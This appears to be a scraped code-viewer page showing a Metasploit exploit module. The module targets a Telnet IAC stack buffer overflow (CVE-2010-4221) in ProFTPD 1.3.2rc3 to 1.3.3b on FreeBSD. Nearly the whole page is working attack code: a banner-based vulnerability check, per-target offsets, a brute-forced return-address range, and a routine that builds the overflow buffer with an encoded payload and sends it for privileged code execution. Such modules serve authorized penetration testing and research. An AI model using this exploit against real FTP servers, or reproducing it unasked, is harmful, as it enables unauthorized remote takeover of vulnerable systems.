Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb
19778 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Ftp
10
include Msf::Exploit::Brute
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)',
17
'Description' => %q{
18
This module exploits a stack-based buffer overflow in versions of ProFTPD
19
server between versions 1.3.2rc3 and 1.3.3b. By sending data containing a
20
large number of Telnet IAC commands, an attacker can corrupt memory and
21
execute arbitrary code.
22
},
23
'Author' => [ 'jduck' ],
24
'References' => [
25
['CVE', '2010-4221'],
26
['OSVDB', '68985'],
27
['BID', '44562']
28
],
29
'DefaultOptions' => {
30
'EXITFUNC' => 'process',
31
'PrependChrootBreak' => true
32
},
33
'Privileged' => true,
34
'Payload' => {
35
'Space' => 1024,
36
# NOTE: \xff's need to be doubled (per ftp/telnet stuff)
37
'BadChars' => "\x00\x0a\x0d",
38
'PrependEncoder' => "\x83\xec\x7f" # sub esp,0x7f (fix esp)
39
},
40
'Platform' => [ 'bsd' ],
41
'Arch' => [ ARCH_X86 ],
42
'Targets' => [
43
#
44
# Automatic targeting via fingerprinting
45
#
46
[ 'Automatic Targeting', { 'auto' => true } ],
47
48
#
49
# This special one comes first since we dont want its index changing.
50
#
51
[
52
'Debug',
53
{
54
'IACCount' => 8192, # should cause crash writing off end of stack
55
'Offset' => 0,
56
'Ret' => 0x41414242,
57
'Writable' => 0x43434545
58
}
59
],
60
61
#
62
# specific targets
63
#
64
[
65
'ProFTPD 1.3.2a Server (FreeBSD 8.0)',
66
{
67
'IACCount' => 1024,
68
'Offset' => 0x414,
69
# 'Ret' => 0xbfbfeac4,
70
'Writable' => 0x80e64a4,
71
'Bruteforce' =>
72
{
73
'Start' => { 'Ret' => 0xbfbffdfc },
74
'Stop' => { 'Ret' => 0xbfa00000 },
75
'Step' => 512
76
}
77
}
78
],
79
],
80
'DefaultTarget' => 0,
81
'DisclosureDate' => '2010-11-01',
82
'Notes' => {
83
'Stability' => [ CRASH_SERVICE_DOWN, ],
84
'Reliability' => [ REPEATABLE_SESSION, ],
85
'SideEffects' => [ IOC_IN_LOGS, ]
86
}
87
)
88
)
89
90
register_options(
91
[
92
Opt::RPORT(21),
93
]
94
)
95
end
96
97
def check
98
# NOTE: We don't care if the login failed here...
99
connect
100
banner = sock.get_once || ''
101
102
# We just want the banner to check against our targets..
103
vprint_status("FTP Banner: #{banner.strip}")
104
105
status = CheckCode::Safe
106
if banner =~ /ProFTPD (1\.3\.[23])/i
107
banner_array = banner.split('.')
108
109
if banner_array.count > 0 && !banner_array[3].nil?
110
# gets 1 char on the third part of version number.
111
relnum = banner_array[2][0..0]
112
tmp = banner_array[2].split(' ')
113
# gets extra string info of version number.
114
# example: 1.2.3rc ('rc' string)
115
extra = tmp[0][1..(tmp[0].length - 1)]
116
if relnum == '2'
117
if !extra.empty?
118
if extra[0..1] == 'rc'
119
v = extra[2..extra.length].to_i
120
if v && v > 2
121
status = CheckCode::Appears
122
end
123
else
124
status = CheckCode::Appears
125
end
126
end
127
elsif relnum == '3'
128
if [ '', 'a', 'b', ].include?(extra)
129
status = CheckCode::Appears
130
end
131
end
132
end
133
end
134
135
disconnect
136
return status
137
end
138
139
def target
140
return @mytarget if @mytarget
141
142
super
143
end
144
145
def exploit
146
connect
147
148
# Use a copy of the target
149
@mytarget = target
150
151
if target['auto']
152
@mytarget = nil
153
154
print_status('Automatically detecting the target...')
155
if banner && (m = banner.match(/ProFTPD (1\.3\.[23][^ ]) Server/i))
156
print_status("FTP Banner: #{banner.strip}")
157
version = m[1]
158
else
159
fail_with(Failure::NoTarget, 'No matching target')
160
end
161
162
regexp = Regexp.escape(version)
163
targets.each do |t|
164
if (t.name =~ /#{regexp}/)
165
@mytarget = t
166
break
167
end
168
end
169
170
if !@mytarget
171
fail_with(Failure::NoTarget, 'No matching target')
172
end
173
174
print_status("Selected Target: #{@mytarget.name}")
175
176
pl = exploit_regenerate_payload(@mytarget.platform, arch)
177
if !pl
178
fail_with(Failure::Unknown, 'Unable to regenerate payload!')
179
end
180
else
181
print_status("Trying target #{@mytarget.name}...")
182
if banner
183
print_status("FTP Banner: #{banner.strip}")
184
end
185
186
payload
187
end
188
disconnect
189
190
super
191
end
192
193
def brute_exploit(addrs)
194
@mytarget ||= target
195
196
ret = addrs['Ret']
197
print_status('Trying return address 0x%.8x...' % ret)
198
199
# puts "attach and press any key"; bleh = $stdin.gets
200
201
buf = ''
202
buf << 'SITE '
203
# NOTE: buf must be odd-lengthed prior to here.
204
buf << "\xff" * @mytarget['IACCount']
205
buf << rand_text_alphanumeric(@mytarget['Offset'] - buf.length)
206
buf << [
207
ret,
208
@mytarget['Writable']
209
].pack('V*')
210
buf << payload.encoded
211
buf << "\r\n"
212
213
connect
214
sock.put(buf)
215
disconnect
216
217
handler
218
end
219
end
220
221